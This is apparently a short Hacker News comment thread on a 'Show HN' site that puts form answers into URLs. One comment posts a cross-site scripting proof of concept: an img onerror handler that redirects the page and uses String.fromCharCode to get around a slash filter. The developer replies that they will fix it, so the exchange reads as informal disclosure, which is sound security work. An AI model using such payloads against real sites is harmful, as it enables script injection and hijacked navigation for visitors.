News for hackers. Stuff that matters.

A comment on Show HN: URLs for form fields you don't want to answer [GitHub in comments]. Parent comment

Re:Show HN: URLs for form fields you don't want to answer [G... by xrstf on Wednesday March 25, 2015 @12:23PM (#9263968)
Slashes are not possible, that makes it hard to load code from somewhere.
[ Parent | on HN ]
Re:Show HN: URLs for form fields you don't want to answer [G... by omgpeaches on Thursday March 26, 2015 @08:14AM (#9268966)
Well, you could bypass that by using String.fromCharCode() eventually?

i.e.

https://igot99inputs.appspot.com/andthisainttwo<img src=x onerror=document.location.href=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,103,111,111,103,108,101,46,100,101); >

(that's google.com)

[ Parent | on HN ]
Re:Show HN: URLs for form fields you don't want to answer [G... by humanarity on Thursday March 26, 2015 @01:57AM (#9268047)
Great point. I'll change it so slash is no longer a delimiter. What character do you think would work ?
[ Parent | on HN ]